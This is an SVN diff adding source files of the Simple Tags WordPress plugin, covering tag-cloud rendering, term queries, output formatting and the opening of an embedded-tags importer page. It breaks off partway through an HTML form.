+		unset($args, $defaults);
+
+		if ( empty($terms) ) {
+			return $this->outputContent( 'st-tag-cloud', $format, $title, $notagstext, $copyright );
+		}
+
+		$counts = $terms_data = array();
+		foreach ( (array) $terms as $term ) {
+			$counts[$term->name] = $term->count;
+			$terms_data[$term->name] = $term;
+		}
+
+		// Remove temp data from memory
+		$terms = array();
+		unset($terms);
+
+		// Use full RBG code
+		if ( strlen($maxcolor) == 4 ) {
+			$maxcolor = $maxcolor . substr($maxcolor, 1, strlen($maxcolor));
+		}
+		if ( strlen($mincolor) == 4 ) {
+			$mincolor = $mincolor . substr($mincolor, 1, strlen($mincolor));
+		}
+
+		// Check as smallest inferior or egal to largest
+		if ( $smallest > $largest ) {
+			$smallest = $largest;
+		}
+
+		// Scaling - Hard value for the moment
+		$scale_min = 1;
+		$scale_max = 10;
+
+		$minval = min($counts);
+		$maxval = max($counts);;
+
+		$minout = max($scale_min, 0);
+		$maxout = max($scale_max, $minout);
+
+		$scale = ($maxval > $minval) ? (($maxout - $minout) / ($maxval - $minval)) : 0;
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Remove color marquer if color = false
+		if ( $color == 'false' ) {
+			$xformat = str_replace('%tag_color%', '', $xformat);
+		}
+
+		// Remove size marquer if size = false
+		if ( $size == 'false' ) {
+			$xformat = str_replace('%tag_size%', '', $xformat);
+		}
+
+		// Order terms before output
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_sort = strtolower($cloud_sort);
+		switch ( $cloud_sort ) {
+			case 'count-asc':
+				asort($counts);
+				break;
+			case 'count-desc':
+				arsort($counts);
+				break;
+			case 'name-asc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				break;
+			case 'name-desc':
+				uksort($counts, array( &$this, 'uksortByName'));
+				array_reverse($counts);
+				break;
+			default: // random
+			$counts = $this->randomArray($counts);
+			break;
+		}
+
+		$output = array();
+		foreach ( (array) $counts as $term_name => $count ) {
+			if ( !is_object($terms_data[$term_name]) ) {
+				continue;
+			}
+
+			$term = $terms_data[$term_name];
+			$scale_result = (int) (($term->count - $minval) * $scale + $minout);
+			$output[] = $this->formatInternalTag( $xformat, $term, $rel, $scale_result, $scale_max, $scale_min, $largest, $smallest, $unit, $maxcolor, $mincolor );
+		}
+
+		// Remove unused variables
+		$counts = array();
+		$terms = array();
+		unset($counts, $terms, $element_loop, $term);
+
+		return $this->outputContent( 'st-tag-cloud', $format, $title, $output, $copyright );
+	}
+
+	/**
+	 * Randomize an array and keep association
+	 *
+	 * @param array $data
+	 * @return array
+	 */
+	function randomArray( $data_in = array() ) {
+		if ( empty($data_in) ) {
+			return $data_in;
+		}
+
+		srand( (float) microtime() * 1000000 ); // For PHP < 4.2
+		$rand_keys = array_rand($data_in, count($data_in));
+
+		foreach( (array) $rand_keys as $key ) {
+			$data_out[$key] = $data_in[$key];
+		}
+
+		return $data_out;
+	}
+
+	/**
+	 * Remplace marker by dynamic values (use for related tags, current tags and tag cloud)
+	 *
+	 * @param string $element_loop
+	 * @param object $term
+	 * @param string $rel
+	 * @param integer $scale_result
+	 * @param integer $scale_max
+	 * @param integer $scale_min
+	 * @param integer $largest
+	 * @param integer $smallest
+	 * @param string $unit
+	 * @param string $maxcolor
+	 * @param string $mincolor
+	 * @return string
+	 */
+	function formatInternalTag( $element_loop = '', $term = null, $rel = '', $scale_result = 0, $scale_max = null, $scale_min = 0, $largest = 0, $smallest = 0, $unit = '', $maxcolor = '', $mincolor = '' ) {
+		// Need term object
+		if ( $term->taxonomy == 'post_tag' ) { // Tag post
+			$element_loop = str_replace('%tag_link%', clean_url(get_tag_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_tag_feed_link($term->term_id)), $element_loop);
+		} else { // Category
+			$element_loop = str_replace('%tag_link%', clean_url(get_category_link($term->term_id)), $element_loop);
+			$element_loop = str_replace('%tag_feed%', clean_url(get_category_rss_link(false, $term->term_id, '')), $element_loop);
+		}
+		$element_loop = str_replace('%tag_name%', wp_specialchars( $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_name_attribute%', wp_specialchars(strip_tags($term->name)), $element_loop);
+		$element_loop = str_replace('%tag_id%', $term->term_id, $element_loop);
+		$element_loop = str_replace('%tag_count%', (int) $term->count, $element_loop);
+
+		// Need rel
+		$element_loop = str_replace('%tag_rel%', $rel, $element_loop);
+
+		// Need max/min/scale and other :)
+		if ( $scale_result !== null ) {
+			$element_loop = str_replace('%tag_size%', 'font-size:'.round(($scale_result - $scale_min)*($largest-$smallest)/($scale_max - $scale_min) + $smallest, 2).$unit.';', $element_loop);
+			$element_loop = str_replace('%tag_color%', 'color:'.$this->getColorByScale(round(($scale_result - $scale_min)*(100)/($scale_max - $scale_min), 2),$mincolor,$maxcolor).';', $element_loop);
+			$element_loop = str_replace('%tag_scale%', $scale_result, $element_loop);
+		}
+
+		// External link
+		$element_loop = str_replace('%tag_technorati%', $this->formatExternalTag( 'technorati', $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_flickr%', $this->formatExternalTag( 'flickr', $term->name ), $element_loop);
+		$element_loop = str_replace('%tag_delicious%', $this->formatExternalTag( 'delicious', $term->name ), $element_loop);
+
+		return $element_loop;
+	}
+
+	/**
+	 * Format nice URL depending service
+	 *
+	 * @param string $type
+	 * @param string $tag_name
+	 * @return string
+	 */
+	function formatExternalTag( $type = '', $term_name = '' ) {
+		if ( empty($term_name) ) {
+			return '';
+		}
+
+		$term_name = wp_specialchars($term_name);
+		switch ( $type ) {
+			case 'technorati':
+				$link = clean_url('http://technorati.com/tag/'.str_replace(' ', '+', $term_name));
+				return '<a class="tag_technorati" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'flickr':
+				$link = clean_url('http://www.flickr.com/photos/tags/'.preg_replace('/[^a-zA-Z0-9]/', '', strtolower($term_name)).'/');
+				return '<a class="tag_flickr" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			case 'delicious':
+				$link = clean_url('http://del.icio.us/popular/'.strtolower(str_replace(' ', '', $term_name)));
+				return '<a class="tag_delicious" href="'.$link.'" rel="tag">'.$term_name.'</a>';
+				break;
+			default:
+				return '';
+				break;
+		}
+	}
+
+	/**
+	 * Generate current post tags
+	 *
+	 * @param string $args
+	 * @return string
+	 */
+	function extendedPostTags( $args = '', $copyright = true ) {
+		$defaults = array(
+		'before' => __('Tags: ', 'simpletags'),
+		'separator' => ', ',
+		'after' => '<br />',
+		'post_id' => 0,
+		'no_follow' => 0,
+		'inc_cats' => 0,
+		'xformat' => __('<a href="%tag_link%" title="%tag_name_attribute%" %tag_rel%>%tag_name%</a>', 'simpletags'),
+		'notagtext' => __('No tag for this post.', 'simpletags'),
+		'number' => 0,
+		'format' => ''
+		);
+
+		// Get values in DB
+		$defaults['before'] = $this->options['tt_before'];
+		$defaults['separator'] = $this->options['tt_separator'];
+		$defaults['after'] = $this->options['tt_after'];
+		$defaults['no_follow'] = (int) $this->options['no_follow'];
+		$defaults['inc_cats'] = $this->options['tt_inc_cats'];
+		$defaults['xformat'] = $this->options['tt_xformat'];
+		$defaults['notagtext'] = $this->options['tt_notagstext'];
+		$defaults['number'] = (int) $this->options['tt_number'];
+		if ( empty($args) ) {
+			$args = $this->options['tt_adv_usage'];
+		}
+
+		// Extract data in variables
+		$args = wp_parse_args( $args, $defaults );
+		extract($args);
+
+		// If empty use default xformat !
+		if ( empty($xformat) ) {
+			$xformat = $defaults['xformat'];
+		}
+
+		// Clean memory
+		$args = array();
+		$defaults = array();
+
+		// Choose post ID
+		$object_id = (int) $post_id;
+		if ( $object_id == 0 ) {
+			global $post;
+			$object_id = (int) $post->ID;
+			if ( $object_id == 0 ) {
+				return false;
+			}
+		}
+
+		// Get categories ?
+		$taxonomy = ( (int) $inc_cats == 0 ) ? 'post_tag' : array('post_tag', 'category');
+		// Get terms
+		$terms = apply_filters( 'get_the_tags', wp_get_object_terms($object_id, $taxonomy) );
+
+		// Limit to max quantity if set
+		$number = (int) $number;
+		if ( $number != 0 ) {
+			shuffle($terms); // Randomize terms
+			$terms = array_slice( $terms, 0, $number );
+		}
+
+		// Return for object format
+		if ( $format == 'object' ) {
+			return $terms;
+		}
+
+		// If no terms, return text nothing.
+		if ( empty($terms) ) {
+			return $notagtext;
+		}
+
+		// HTML Rel (tag/no-follow)
+		$rel = $this->buildRel( $no_follow );
+
+		// Prepare output
+		foreach ( (array) $terms as $term ) {
+			if ( !is_object($term) ) {
+				continue;
+			}
+
+			$output[] = $this->formatInternalTag( $xformat, $term, $rel, null );
+		}
+
+		// Clean memory
+		$terms = array();
+		unset($terms, $term);
+
+
+		// Array to string
+		if ( is_array($output) && !empty($output) ) {
+			$output = implode($separator, $output);
+		} else {
+			$output = $notagtext;
+		}
+
+		// Add container
+		$output = $before . $output . $after;
+
+		return $this->outputContent( '', 'string', '', $output, $copyright );
+	}
+
+	/**
+	 * Build rel for tag link
+	 *
+	 * @param integer $no_follow
+	 * @return string
+	 */
+	function buildRel( $no_follow = 1 ) {
+		$rel = '';
+
+		global $wp_rewrite;
+		$rel .= ( is_object($wp_rewrite) && $wp_rewrite->using_permalinks() ) ? 'tag' : ''; // Tag ?
+
+		$no_follow = (int) $no_follow;
+		if ( $no_follow == 1 ) { // No follow ?
+			$rel .= ( empty($rel) ) ? 'nofollow' : ' nofollow';
+		}
+
+		if ( !empty($rel) ) {
+			$rel = 'rel="' . $rel . '"'; // Add HTML Tag
+		}
+
+		return $rel;
+	}
+
+	/**
+	 * Delete embedded tags
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function filterEmbedTags( $content ) {
+		$tag_start = $this->options['start_embed_tags'];
+		$tag_end = $this->options['end_embed_tags'];
+		$len_tagend = strlen($tag_end);
+
+		while ( strpos($content, $tag_start) != false && strpos($content, $tag_end) != false ) {
+			$pos1 = strpos($content, $tag_start);
+			$pos2 = strpos($content, $tag_end);
+			$content = str_replace(substr($content, $pos1, ($pos2 - $pos1 + $len_tagend)), '', $content);
+		}
+		return $content;
+	}
+
+	/**
+	 * This is pretty filthy. Doing math in hex is much too weird. It's more likely to work, this way!
+	 * Provided from UTW. Thanks.
+	 *
+	 * @param integer $scale_color
+	 * @param string $min_color
+	 * @param string $max_color
+	 * @return string
+	 */
+	function getColorByScale($scale_color, $min_color, $max_color) {
+		$scale_color = $scale_color / 100;
+
+		$minr = hexdec(substr($min_color, 1, 2));
+		$ming = hexdec(substr($min_color, 3, 2));
+		$minb = hexdec(substr($min_color, 5, 2));
+
+		$maxr = hexdec(substr($max_color, 1, 2));
+		$maxg = hexdec(substr($max_color, 3, 2));
+		$maxb = hexdec(substr($max_color, 5, 2));
+
+		$r = dechex(intval((($maxr - $minr) * $scale_color) + $minr));
+		$g = dechex(intval((($maxg - $ming) * $scale_color) + $ming));
+		$b = dechex(intval((($maxb - $minb) * $scale_color) + $minb));
+
+		if (strlen($r) == 1) $r = '0'.$r;
+		if (strlen($g) == 1) $g = '0'.$g;
+		if (strlen($b) == 1) $b = '0'.$b;
+
+		return '#'.$r.$g.$b;
+	}
+
+	/**
+	 * Add page in tag search
+	 *
+	 * @param string $where
+	 * @return string
+	 */
+	function prepareQuery( $where ) {
+		if ( is_tag() ) {
+			$where = str_replace('post_type = \'post\'', 'post_type IN(\'page\', \'post\')', $where);
+		}
+		return $where;
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+	}
+
+	/**
+	 * Extended get_tags function that use getTerms function
+	 *
+	 * @param string $args
+	 * @return array
+	 */
+	function getTags( $args = '', $skip_cache = false, $taxonomy = 'post_tag', $internal_st = false ) {
+		if ( $skip_cache == true ) {
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache, $internal_st );
+		} else {
+			$key = md5(serialize($args.$taxonomy));
+			
+			// Get cache if exist
+			if ( $cache = wp_cache_get( 'st_get_tags', 'simpletags' ) ) {
+				if ( isset( $cache[$key] ) ) {
+					return apply_filters('get_tags', $cache[$key], $args);
+				}
+			}
+
+			// Get tags
+			$terms = $this->getTerms( $taxonomy, $args, $skip_cache, $internal_st );
+			if ( empty($terms) ) {
+				return array();
+			}
+
+			$cache[$key] = $terms;
+			wp_cache_set( 'st_get_tags', $cache, 'simpletags' );
+		}
+
+		$terms = apply_filters('get_tags', $terms, $args);
+		return $terms;
+	}
+
+	/**
+	 * Extended get_terms function support
+	 * - Limit category
+	 * - Limit days
+	 * - Selection restrict
+	 * - Min usage
+	 *
+	 * @param string|array $taxonomies
+	 * @param string $args
+	 * @return array
+	 */
+	function getTerms( $taxonomies, $args = '', $skip_cache = false, $internal_st = false ) {
+		global $wpdb;
+		$empty_array = array();
+
+		$single_taxonomy = false;
+		if ( !is_array($taxonomies) ) {
+			$single_taxonomy = true;
+			$taxonomies = array($taxonomies);
+		}
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( ! is_taxonomy($taxonomy) ) {
+				return new WP_Error('invalid_taxonomy', __('Invalid Taxonomy'));
+			}
+		}
+
+		$in_taxonomies = "'" . implode("', '", $taxonomies) . "'";
+
+		$defaults = array(
+			'orderby' => 'name',
+			'order' => 'ASC',
+			'cloud_selection' => 'count-desc',
+			'hide_empty' => true,
+			'exclude' => '',
+			'include' => '',
+			'number' => '',
+			'fields' => 'all',
+			'slug' => '',
+			'parent' => '',
+			'hierarchical' => true,
+			'child_of' => 0,
+			'get' => '',
+			'name__like' => '',
+			'st_name_like' => '',
+			'pad_counts' => false,
+			'offset' => '',
+			'search' => '',
+			'limit_days' => 0,
+			'category' => 0,
+			'min_usage' => 0
+		);
+
+		$args = wp_parse_args( $args, $defaults );
+		if ( $internal_st != true ) { // Allow limit :)
+			$args['number'] = absint( $args['number'] );
+		}
+		$args['offset'] = absint( $args['offset'] );
+		if ( !$single_taxonomy || !is_taxonomy_hierarchical($taxonomies[0]) || '' != $args['parent'] ) {
+			$args['child_of'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+
+		if ( 'all' == $args['get'] ) {
+			$args['child_of'] = 0;
+			$args['hide_empty'] = 0;
+			$args['hierarchical'] = false;
+			$args['pad_counts'] = false;
+		}
+		extract($args, EXTR_SKIP);
+
+		if ( $child_of ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$child_of]) )
+				return $empty_array;
+		}
+
+		if ( $parent ) {
+			$hierarchy = _get_term_hierarchy($taxonomies[0]);
+			if ( !isset($hierarchy[$parent]) )
+				return $empty_array;
+		}
+		
+		if ( $skip_cache != true ) {
+			// $args can be whatever, only use the args defined in defaults to compute the key
+			$filter_key = ( has_filter('list_terms_exclusions') ) ? serialize($GLOBALS['wp_filter']['list_terms_exclusions']) : '';
+			$key = md5( serialize( compact(array_keys($defaults)) ) . serialize( $taxonomies ) . $filter_key );
+			$last_changed = wp_cache_get('last_changed', 'terms');
+			if ( !$last_changed ) {
+			    $last_changed = time();
+			    wp_cache_set('last_changed', $last_changed, 'terms');
+			}
+			$cache_key = "get_terms:$key:$last_changed";
+			
+			if ( $cache = wp_cache_get( $cache_key, 'terms' ) ) {
+			    $terms = apply_filters('get_terms', $cache, $taxonomies, $args);
+			    return $terms;
+			}
+		}
+
+		// Restrict category
+		$category_sql = '';
+		if ( !empty($category) && $category != '0' ) {
+			$incategories = preg_split('/[\s,]+/', $category);
+
+			$objects_id = get_objects_in_term( $incategories, 'category' );
+			$objects_id = array_unique ($objects_id); // to be sure haven't duplicates
+
+			if ( empty($objects_id) ) { // No posts for this category = no tags for this category
+				return array();
+			}
+
+			foreach ( (array) $objects_id as $object_id ) {
+				$category_sql .= "'". $object_id . "', ";
+			}
+
+			$category_sql = substr($category_sql, 0, strlen($category_sql) - 2); // Remove latest ", "
+			$category_sql = 'AND p.ID IN ('.$category_sql.')';
+		}
+
+		// count-asc/count-desc/name-asc/name-desc/random
+		$cloud_selection = strtolower($cloud_selection);
+		switch ( $cloud_selection ) {
+			case 'count-asc':
+				$order_by = 'tt.count ASC';
+				break;
+			case 'random':
+				$order_by = 'RAND()';
+				break;
+			case 'name-asc':
+				$order_by = 't.name ASC';
+				break;
+			case 'name-desc':
+				$order_by = 't.name DESC';
+				break;
+			default: // count-desc
+			$order_by = 'tt.count DESC';
+			break;
+		}
+
+		// Min usage
+		$restict_usage = '';
+		$min_usage = (int) $min_usage;
+		if ( $min_usage != 0 ) {
+			$restict_usage = ' AND tt.count >= '. $min_usage;
+		}
+
+		$where = '';
+		$inclusions = '';
+		if ( !empty($include) ) {
+			$exclude = '';
+			$interms = preg_split('/[\s,]+/',$include);
+			foreach ( (array) $interms as $interm ) {
+				if (empty($inclusions)) {
+					$inclusions = ' AND ( t.term_id = ' . intval($interm) . ' ';
+				} else {
+					$inclusions .= ' OR t.term_id = ' . intval($interm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($inclusions) ) {
+			$inclusions .= ')';
+		}
+		$where .= $inclusions;
+
+		$exclusions = '';
+		if ( !empty($exclude) ) {
+			$exterms = preg_split('/[\s,]+/',$exclude);
+			foreach ( (array) $exterms as $exterm ) {
+				if (empty($exclusions)) {
+					$exclusions = ' AND ( t.term_id <> ' . intval($exterm) . ' ';
+				} else {
+					$exclusions .= ' AND t.term_id <> ' . intval($exterm) . ' ';
+				}
+			}
+		}
+
+		if ( !empty($exclusions) ) {
+			$exclusions .= ')';
+		}
+		$exclusions = apply_filters('list_terms_exclusions', $exclusions, $args );
+		$where .= $exclusions;
+
+		if ( !empty($slug) ) {
+			$slug = sanitize_title($slug);
+			$where .= " AND t.slug = '$slug'";
+		}
+
+		if ( !empty($name__like) ) {
+			$where .= " AND t.name LIKE '{$name__like}%'";
+		}
+
+		if ( strpos($st_name_like, ' ') != false || strpos($st_name_like, ' ') != null ) {
+			$tmp = '';
+			$sts = explode(' ', $st_name_like);
+			foreach ( (array) $sts as $st ) {
+				if ( empty($st) )
+				continue;
+
+				$st = addslashes_gpc($st);
+				$tmp .= " t.name LIKE '%{$st}%' OR ";
+			}
+			// Remove latest OR
+			$tmp = substr( $tmp, 0, strlen($tmp) - 4);
+
+			$where .= " AND ( $tmp ) ";
+			unset($tmp)	;
+		} elseif ( !empty($st_name_like) ) {
+			$where .= " AND t.name LIKE '%{$st_name_like}%'";
+		}
+
+		if ( '' != $parent ) {
+			$parent = (int) $parent;
+			$where .= " AND tt.parent = '$parent'";
+		}
+
+		if ( $hide_empty && !$hierarchical ) {
+			$where .= ' AND tt.count > 0';
+		}
+
+		$number_sql = '';
+		if ( strpos($number, ',') != false || strpos($number, ',') != null ) {
+			$number_sql = $number;
+		} else {
+			$number = (int) $number;
+			if ( $number != 0 ) {
+				$number_sql = 'LIMIT ' . $number;
+			}
+		}
+
+		if ( !empty($search) ) {
+			$search = like_escape($search);
+			$where .= " AND (t.name LIKE '%$search%')";
+		}
+
+		$select_this = '';
+
+		if ( 'all' == $fields ) {
+			$select_this = 't.*, tt.*';
+		} else if ( 'ids' == $fields ) {
+ 	        $select_this = 't.term_id, tt.parent, tt.count';
+		} else if ( 'names' == $fields ) {
+			$select_this = 't.term_id, tt.parent, tt.count, t.name';
+		}
+
+		// Limit posts date
+		$limitdays_sql = '';
+		$limit_days = (int) $limit_days;
+		if ( $limit_days != 0 ) {
+			$limitdays_sql = 'AND p.post_date_gmt > "' .date( 'Y-m-d H:i:s', time() - $limit_days * 86400 ). '"';
+		}
+
+		$query = "SELECT {$select_this}
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			INNER JOIN {$wpdb->term_relationships} AS tr ON tt.term_taxonomy_id = tr.term_taxonomy_id
+			INNER JOIN {$wpdb->posts} AS p ON tr.object_id = p.ID
+			WHERE tt.taxonomy IN ( {$in_taxonomies} )
+			AND p.post_date_gmt < '".current_time('mysql')."'
+			{$limitdays_sql}
+			{$category_sql}
+			{$where}
+			{$restict_usage}
+			GROUP BY t.term_id
+			ORDER BY {$order_by}
+			{$number_sql}";
+		
+		if ( 'all' == $fields ) {
+			$terms = $wpdb->get_results($query);
+			if ( $skip_cache != true ) {
+				update_term_cache($terms);
+			}
+		} else if ( ('ids' == $fields) || ('names' == $fields) ) {
+			$terms = $wpdb->get_results($query);
+		}
+
+		if ( empty($terms) ) {
+			$cache[ $key ] = array();
+			wp_cache_set( 'get_terms', $cache, 'terms' );
+			$terms = apply_filters('get_terms', array(), $taxonomies, $args);
+			return $terms;
+		}
+
+		if ( $child_of ) {
+		    $children = _get_term_hierarchy($taxonomies[0]);
+		    if ( ! empty($children) )
+		        $terms = & _get_term_children($child_of, $terms, $taxonomies[0]);
+		}
+
+		// Update term counts to include children.
+ 	    if ( $pad_counts && 'all' == $fields )
+	        _pad_term_counts($terms, $taxonomies[0]);
+
+		// Make sure we show empty categories that have children.
+		if ( $hierarchical && $hide_empty && is_array($terms) ) {
+		    foreach ( $terms as $k => $term ) {
+		        if ( ! $term->count ) {
+		            $children = _get_term_children($term->term_id, $terms, $taxonomies[0]);
+		            if( is_array($children) )
+		                foreach ( $children as $child )
+		                    if ( $child->count )
+		                        continue 2;
+		
+		            // It really is empty
+		            unset($terms[$k]);
+		        }
+		    }
+		}
+		reset ( $terms );
+		
+		$_terms = array();
+		if ( 'ids' == $fields ) {
+		    while ( $term = array_shift($terms) )
+		        $_terms[] = $term->term_id;
+		    $terms = $_terms;
+		} elseif ( 'names' == $fields ) {
+		    while ( $term = array_shift($terms) )
+		        $_terms[] = $term->name;
+		    $terms = $_terms;
+		}
+		
+		if ( $skip_cache != true ) {
+			wp_cache_add( $cache_key, $terms, 'terms' );
+		}
+
+		$terms = apply_filters('get_terms', $terms, $taxonomies, $args);
+		return $terms;
+	}
+
+	/**
+	 * Format data for output
+	 *
+	 * @param string $html_class
+	 * @param string $format
+	 * @param string $title
+	 * @param string $content
+	 * @param boolean $copyright
+	 * @param string $separator
+	 * @return string|array
+	 */
+	function outputContent( $html_class= '', $format = 'list', $title = '', $content = '', $copyright = true, $separator = '' ) {
+		if ( empty($content) ) {
+			return ''; // return nothing
+		}
+
+		if ( $format == 'array' && is_array($content) ) {
+			return $content; // Return PHP array if format is array
+		}
+
+		if ( is_array($content) ) {
+			switch ( $format ) {
+				case 'list' :
+					$output = '<ul class="'.$html_class.'">'. "\n\t".'<li>' . implode("</li>\n\t<li>", $content) . "</li>\n</ul>\n";
+					break;
+				default :
+					$output = '<div class="'.$html_class.'">'. "\n\t" . implode("{$separator}\n", $content) . "</div>\n";
+					break;
+			}
+		} else {
+			$content = trim($content);
+			switch ( $format ) {
+				case 'string' :
+					$output = $content;
+					break;
+				case 'list' :
+					$output = '<ul class="'.$html_class.'">'. "\n\t" . '<li>'.$content."</li>\n\t" . "</ul>\n";
+					break;
+				default :
+					$output = '<div class="'.$html_class.'">'. "\n\t" . $content . "</div>\n";
+					break;
+			}
+		}
+
+		// Replace false by empty
+		$title = trim($title);
+		if ( strtolower($title) == 'false' ) {
+			$title = '';
+		}
+
+		// Put title if exist
+		if ( !empty($title) ) {
+			$title .= "\n\t";
+		}
+
+		if ( $copyright === true )
+		return "\n" . '<!-- Generated by Simple Tags ' . $this->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". $title . $output. "\n";
+		else
+		return "\n\t". $title . $output. "\n";
+	}
+
+	/**
+	 * Test if local installation is mu-plugin or a classic plugin
+	 *
+	 * @return boolean
+	 */
+	function isMuPlugin() {
+		if ( strpos(dirname(__FILE__), 'mu-plugins') ) {
+			return true;
+		}
+		return false;
+	}
+	
+	/**
+	 * Update taxonomy counter for post AND page
+	 *
+	 * @param array $terms
+	 */
+	function _update_post_and_page_term_count( $terms ) {
+		global $wpdb;
+		foreach ( (array) $terms as $term ) {
+			$count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type IN ('page', 'post') AND term_taxonomy_id = %d", $term ) );
+			$wpdb->update( $wpdb->term_taxonomy, compact( 'count' ), array( 'term_taxonomy_id' => $term ) );
+		}
+		return true;
+	}
+}
+
+
+// Init ST
+global $simple_tags;
+function st_init() {
+	global $simple_tags, $simple_tags_admin;
+	$simple_tags = new SimpleTags();
+	
+	// Admin and XML-RPC
+	if ( is_admin() || ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) ) {
+		require(dirname(__FILE__).'/inc/simple-tags.admin.php');
+		$simple_tags_admin = new SimpleTagsAdmin( $simple_tags->default_options, $simple_tags->version, $simple_tags->info );
+
+		// Activation
+		register_activation_hook(__FILE__, array(&$simple_tags_admin, 'installSimpleTags') );
+		
+		// Uninstall
+		register_uninstall_hook (__FILE__, array(&$simple_tags_admin, 'uninstall') );
+	}
+
+	// Templates functions
+	require(dirname(__FILE__).'/inc/simple-tags.functions.php');
+
+	// Widgets
+	require(dirname(__FILE__).'/inc/simple-tags.widgets.php');
+}
+add_action('plugins_loaded', 'st_init');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/extras/simple-tags.importer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/extras/simple-tags.importer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/extras/simple-tags.importer.php	(revision 44)
@@ -0,0 +1,243 @@
+<?php
+/*
+&copy; Copyright 2007 Amaury BALMER (balmer.amaury@gmail.com)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+*/
+
+Class EmbeddedImporter {
+	/**
+	 * Constructor = nothing
+	 *
+	 * @return EmbeddedImporter
+	 */
+	function EmbeddedImporter () {}
+
+	/**
+	 * Select good page depending URL
+	 *
+	 */
+	function dispatch () {
+		$step = ( empty($_GET['step']) ) ? 0 : (int) $_GET['step'];
+
+		// load the header
+		$this->header();
+
+		// load the page
+		switch ( $step ) {
+			case 0 :
+				$this->greet();
+				break;
+			case 1 :
+				$this->importer();
+				break;
+			case 2:
+				$this->done();
+				break;
+		}
+
+		// load the footer
+		$this->footer();
+	}
+
+	/**
+	 * Print header importer
+	 *
+	 */
+	function header()  {
+		echo '<div class="wrap">';
+		echo '<h2>'.__('Import Embedded Tags', 'simpletags').'</h2>';
+		echo '<p>'.__('Steps may take a few minutes depending on the size of your database. Please be patient.', 'simpletags').'</p>';
+		echo '<p>'.__('Visit the <a href="http://www.herewithme.fr/wordpress-plugins/simple-tags">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags').'</p>';
+	}
+
+	/**
+	 * Print avertissement before import (backup DB !)
+	 *
+	 */
+	function greet() {
+		echo '<div class="narrow">';
+		echo '<p>'.__('Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure.', 'simpletags').'</p>';
+		echo '<p>'.__('To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!', 'simpletags').'</p>';
+		echo '<p><strong>'.__('Don&#8217;t be stupid - backup your database before proceeding!', 'simpletags').'</strong></p>';
+		echo '<form action="admin.php?import=simple-tags.importer&amp;step=1" method="post">';
+		echo '<p class="submit"><input type="submit" name="submit" value="'.__('Step 1 &raquo;', 'simpletags').'" /></p>';
+		echo '</form>';
+		echo '</div>';
+	}
+
+	/**
+	 * Importer with dynamic pages for skip timeout
+	 *
+	 */
+	function importer() {
+		$action = false;
+		if ( $_GET['action'] == 'import_embedded_tag' ) {
+			$action = true;
+
+			// Get values
+			$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+			$start = $_GET['start'];
+			$end = $_GET['end'];
+			$clean = ( isset($_GET['clean']) ) ? 1 : 0;
+			$typep = ( isset($_GET['typep']) ) ? 1 : 0;
+			$type_posts = ( isset($_GET['typep']) ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+			if ( empty($_GET['start']) || empty($_GET['end']) ) {
+				wp_die(__('Missing parameters in URL. (Start or End)', 'simpletags'));
+			}
+
+			// Get datas
+			global $wpdb;
+			$objects = $wpdb->get_results( "SELECT ID, post_title, post_content FROM {$wpdb->posts} WHERE {$type_posts} ORDER BY ID DESC LIMIT {$n}, 20" );
+		}
+
+		 // First step
+		if ( $action === false ) : ?>
+
+			<div class="narrow">
+				<h3><?php _e('Configure and add tags to posts&#8230;', 'simpletags'); ?></h3>
+
+				<form action="admin.php" method="get">
+					<input type="hidden" name="import" value="simple-tags.importer" />
+					<input type="hidden" name="step" value="1" />
+					<input type="hidden" name="action" value="import_embedded_tag" />
+
+					<p><label for="start"><?php _e('Start marker', 'simpletags'); ?></label><br />
+						<input type="text" value="[tags]" name="start" id="start" size="10" /></p>
+
+					<p><label for="end"><?php _e('End marker', 'simpletags'); ?></label><br />
+						<input type="text" value="[/tags]" name="end" id="end" size="10" /></p>
+
+					<p><input type="checkbox" value="1" id="clean" name="clean" /> <label for="clean"><?php _e('Delete embedded tags once imported ?', 'simpletags'); ?></label></p>
+
+					<p><input type="checkbox" value="1" id="typep" name="typep" /> <label for="typep"><?php _e('Import also embedded tags from page ?', 'simpletags'); ?></label></p>
+
+					<p class="submit">
